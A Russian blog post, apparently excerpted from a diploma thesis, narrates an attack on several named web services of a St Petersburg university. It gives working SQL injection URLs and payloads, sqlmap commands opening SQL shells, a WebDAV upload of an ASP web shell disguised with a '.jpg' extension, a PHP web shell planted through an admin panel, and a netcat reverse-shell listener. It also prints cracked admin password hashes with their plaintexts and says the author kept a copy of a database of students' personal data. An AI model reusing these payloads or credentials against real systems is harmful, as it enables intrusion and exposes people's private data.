Дипломная работа. Аудит информационной безопасности или как я хакнул свою шарагу. Часть 1

Предисловие.

Стоя у истоков своей неудавшейся карьеры, мне выпал карт-бланш на пенетрацию серверов нашего местного педа по-черному. Я был молод, амбициозен и ориентирован на искрометный прыжок сквозь техническую сингулярность в наше великолепное кибер-будущее-2020. Кульминацией моего кул-хацкинг-прошлого стала диспломная работа. Ввиду того что, в России дипломная работа является по большей части отпиской, неудовлетворенность в том, что мой диплом так и не был никем прочитан, а кем все таки был, был непонят, выдержки из него публикую тут. Чувство радости, охватившее меня держало несколько месяцев увлеченной работы, результатом которой я и хотел бы поделиться, осознавши себя именно now (), спустя почти десяток лет, кибер-рабочим, кладущим кибер-кирпичи, так еще и не очень ровно, так получилось…

Информация представленная здесь носит исключительно познавательный характер. Ресурсы закрыты, баги спутся много лет пофикшены, некоторые данные изменены, в любом случае повторение подобных действий незаконно. Цель — показать процесс аудита методом черного ящика на вполне конкретном примере и законных основаниях.

Помни про УК:

  • Статья 272. Неправомерный доступ к компьютерной информации.

  • Статья 273. Создание, использование и распространение вредоносных программ для ЭВМ.

  • Статья 274. Нарушение правил эксплуатации средств хранения, обработки или передачи компьютерной информации и информационно-телекоммуникационных сетей.

Глава 2. Практика

В нашей работе был произведен аудит внешних веб-ресурсов РГПУ им. А.И. Герцена.

Целью аудита было выявление критических уязвимостей, позволяющих получить доступ к тем или иным частям ИС.

Ресурс 1: Фундаментальная библиотека имени императрицы Марии Федоровны.

Первая уязвимость была найдена вручную. Изменив значение параметра «page» с 9 до 20 в URI lib.herzen.spb.ru/news/default.asp? page=9, была замечена ошибка системы управления базами данных MSSQL.

image-loader.svg

После некоторых манипуляций с параметром и подбором полей мы получили URI следующего вида:

lib.herzen.spb.ru/news/news_detail.asp? id='1'+union+select+1,2,3,4,5,6,7.

Далее необходимо было найти базу данных пользователей и узнать пароль администратора. В браузерной строке были проделаны следующие манипуляции:

  • lib.herzen.spb.ru/news/news_detail.asp?id='1'+union+select+1,TABLE_NAME,3,4,5,6,7+from+information_schema.tables

  • lib.herzen.spb.ru/news/news_detail.asp?id='1'+union+select+top+1+1,TABLE_NAME,3,4,5,6,7+from+information_schema.tables+WHERE+TABLE_NAME+NOT+IN+('comment','news','dtproperties')

Обнаружилось, что база данных имеет всего три таблицы, и при этом ни одна из них даже отдаленно не напоминала необходимую.

Конечно, с помощью нее можно извлечь различные конфиденциальные данные, но они не позволят проникнуть на сервер.

Было принято решение отложить тестирование этой уязвимости и запустить acunetix web vulnerability scanner. Спустя некоторое время был получен отчет об уязвимостях. Критических уязвимостей оказалось две:

  1. Passive XSS уязвимость.

    URI уязвимости: lib.herzen.spb.ru/marcweb/workdict.asp

    Уязвимы все поля, пример уязвимого кода: onmouseover=prompt (966376) bad=

  1. WebDAV Directory with Write Permissions. URI уязвимости: lib.herzen.spb.ru/marcweb/exe/tmp/ и lib.herzen.spb.ru/marcweb/exe/.

Уязвимость по протоколу WebDAV, работающему поверх HTTP, позволяет создавать файлы на сервере посредством «http методов».

Наиболее интересной для нас является уязвимость номер два, с чьей помощью мы можем выполнить PUT, а затем и MOVE метод с помощью протокола telnet.

Был найден шелл для системы на ASP.NET. Его название: »_.-:→ NeoHack <-:-._», (ред. Странно, что не Trinity.exe) он был передан вместе с PUT запросом на сервер.

image-loader.svg

В ответ мы получили сообщение об успешном создании файла »1.txt», который теперь находится по адресу lib.herzen.spb.ru/marcweb/exe/tmp/1.txt.

image-loader.svg

Однако файл оказался неисполняемым, потребовалось его переименовать при помощи метода MOVE в файл с названием »1.asp;.jpg».

image-loader.svg

Запрос выполнен.

image-loader.svg

Теперь, перейдя по адресу lib.herzen.spb.ru/marcweb/exe/tmp/1.asp;.jpg, мы увидим полноценный «шелл».

image-loader.svg

Недолго искав, находим файл CONFIG.ASP.

image-loader.svg

В нем лежит логин и пароль в открытом виде:

f65302f29b9e2fc267f5d31150493945.jpg

Заранее просканировав сайт при помощи инструмента Havij, мы знаем, что страница администратора находится по адресу lib.herzen.spb.ru/news/adm/.

Воспользовавшись логином и паролем, полученными ранее, мы совершили вход в административную часть сайта.

image-loader.svg

Теперь мы имеем достаточно привилегий на добавление и редактирование статей.

Помимо доступа к административной части сайта с полными правами на чтение, редактирование и удаление файлов в корневом каталоге сайта мы имеем доступ на чтение почти всех файлов на сервере, например в каталоге WINDOWS/System32.

Ресурс 2: Университетский образовательный округ РГПУ им. А.И. Герцена

В строке okrug.herzen.spb.ru/do/sub есть уязвимый аргумент subjects, который передается посредством POST запроса.

Запрос в sqlmap выглядит следующим образом:

python sqlmap.py -u http://okrug.herzen.spb.ru/do/sub/ --data=«name=name&email=mail@email.ru&subjects=1&text=text&send=%CE%F2%EF%F0%E0%E2%E8%F2%FC» -p subjects –sql-shell

С помощью него мы получим SQL шелл. В аргумент 'subjects' мы передаем следующие значения:

  • name=name&email=mail@email.ru&subjects=1' RLIKE (SELECT (CASE WHEN (5587=5587) THEN 1 ELSE 0x28 END)) AND 'mJSm'='mJSm&text=text&send=%CE%F2%EF%F0%E0%E2%E8%F2%FC

  • name=Acunetix&email=smail@email.ru&subjects=1' AND (SELECT 8432 FROM(SELECT COUNT(*),CONCAT(0x7171686771,(SELECT (CASE WHEN (8432=8432) THEN 1 ELSE 0 END)),0x7177616c71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'XRst'='XRst&text=text&send=%CE%F2%EF%F0%E0%E2%E8%F2%FC

  • name=Acunetix&email=sample@email.tst&subjects=1' AND SLEEP(5) AND 'cwWR'='cwWR&text=111-222-1933email@address.tst&send=%CE%F2%EF%F0%E0%E2%E8%F2%FC

image-loader.svg

На данном этапе мы получили доступ к базе данных. Проанализировав данные, мы нашли таблицу 0users. В ней оказались логины и md5 хэши паролей для входа в административную часть сайта.

Воспользовавшись такими ресурсами как rachid.dk и md5decoder.org, мы с легкостью расшифровали два следующих хэша: 3fa08bcbb256da891dbfc106b68384db и 2332dc1dc2f0fd1377f122fdb5a3052b. Пароли данных хэшей: hokrug и okruh соответственно. Логин для обоих паролей был — 0admin

a54d37f691f393bb3cec6aecab6cbbf6.jpg128522229e710de7577aace539290d34.jpg

Теперь мы можем пользоваться административной частью сайта, расположенной по адресу http://okrug.herzen.spb.ru/admin/login.php.

image-loader.svg

В разделе сайта «Шаблоны страниц» мы можем создавать шаблоны страниц с произвольным PHP кодом. Воспользовавшись этим создадим файл с шеллом с названием 1.inc.php. Название шелла: «b374k m1n1 1.01». Теперь по адресу http://okrug.herzen.spb.ru/templates/1.inc.php располагается полноценный шелл.

image-loader.svg

Изучив файлы, находящиеся на сервере, мы обнаружили следующие файлы: passwd, находящийся в папке /etc/ хранящий в себе информацию о настройках прав доступа, файл globalconfig.inc.php находящийся в папке /usr/share/nginx/www/ и хранящий в себе логин: пароль для доступа к базе данных Mysql.

2c7740732e95fd2115db34ccc417ab0d.jpgimage-loader.svg

Поскольку мы уже изучили все данные в СУБД, попробуем получить root доступ. Создадим файл exploit.c на сервере, содержащий в исходном коде local root exploit. Откроем порт 4000 с помощью netcat командой nc -l 4000. Сделаем бэкконект на данный порт при помощи стандартных возможностей шелла. Теперь мы можем исполнять команды непосредственно из командной строки. К сожалению, на сервере не установлен gcc или любой подобный компилятор, либо к нему просто нет доступа, что более вероятно.

Ресурс 3: Электронный атлас

Уязвимый параметр id в URI herzen.spb.ru/chair_types.php? id=1 и такой инструмент как sqlmap позволили получить полный доступ к базе данных, находящейся по адресу /home/umo/HERZEN.FDB.

Команда в sqlmap выглядит следующим образом:

python sqlmap.py -u http://herzen.spb.ru:80/chair_type.php? id=1

Значения, которые нужно передать параметру id для тестирования инъекции, выглядят следующим образом:

  • -9591 UNION ALL SELECT NULL,'qvlyq'||'aHGhoCJksT'||'quqdq',NULL,NULL,NULL FROM RDB$DATABASE--

  • 1 AND 7686=7686

  • AND 6277=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)

Название базы данных — «Firebird_masterdb», а её размер — более 3Гб.

База содержит 324 таблицы с конфиденциальными данными университета.

Пример одной из таблиц: список текущих студентов университета, содержащий в себе полные имена, адреса, телефоны, паспортные данные, баллы за ЕГЭ, номера зачеток и другие конфиденциальные сведения.

!!!

(ред. В итоге это был бекап… Пруфов не будет, но база где-то до сих пор валяется у меня на флешке.)

Пользователь, с которого мы имеем доступ к СУБД, «SYSDBA» является также администратором базы данных и имеет все привилегии на сервере.

Исходя из этого, помимо просмотра, нам также доступны права на редактирование и удаление данных.

При помощи FirebirdSQL невозможно создать файл на сервере, а значит и получить доступ к серверу на данный момент нельзя.

Ресурс 4: Телефонная книга университета

В URI phones.herzen.spb.ru/index.php? b=А&sort=post&l=0 оказалось два уязвимых параметра. Параметр «sort» позволял выполнить только «слепую» инъекцию, и поэтому мы сосредоточились на параметре «b».

Вручную изменять значения параметра «b» в запросе b=А&sort=post&l=0 оказалось сложнее, чем предполагалось ранее, и поэтому было принято решение использовать sqlmap.

Команда в sqlmap выглядит следующим образом:

python sqlmap.py -u phones.herzen.spb.ru/index.php? b=1.

Окончательное значение, которое нужно передать параметру, выглядит следующим образом:

1') AND (SELECT 2920 FROM(SELECT COUNT(*),CONCAT(0x3a696c6c3a,(SELECT (CASE WHEN (2920=2920) THEN 1 ELSE 0 END)),0x3a6364773a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('YFEv'='YFEv


Теперь, запустив sqlmap с параметром --sql-shell,  мы получили командную строку, с помощью которой можем извлекать информацию из баз данных, как это показано на изображении.
python sqlmap.py -u phones.herzen.spb.ru/index.php? b=1 --sql-shell

image-loader.svg

Необходимые нам данные оказались в таблице «telefon_users», которая принадлежит базе данных «phones».

Запросselect telefon_users_id, telefon_users_log, telefon_users_name, telefon_users_pass, from telefon_users в sql-shell выдал нам данные обо всех зарегистрированных пользователях.

e1d10be8951c4f0984fef19642a7f12a.jpg

C помощью логина и пароля зарегистрированных пользователей можно легко подключиться к административной части сайта.

b18dcf7e637601f0e2a4511f87f7342e.jpg

К сожалению, привилегий на выполнение команды создания файла средствами Mysql оказалось недостаточно. Доступ к серверу на данный момент не получен.

© Habrahabr.ru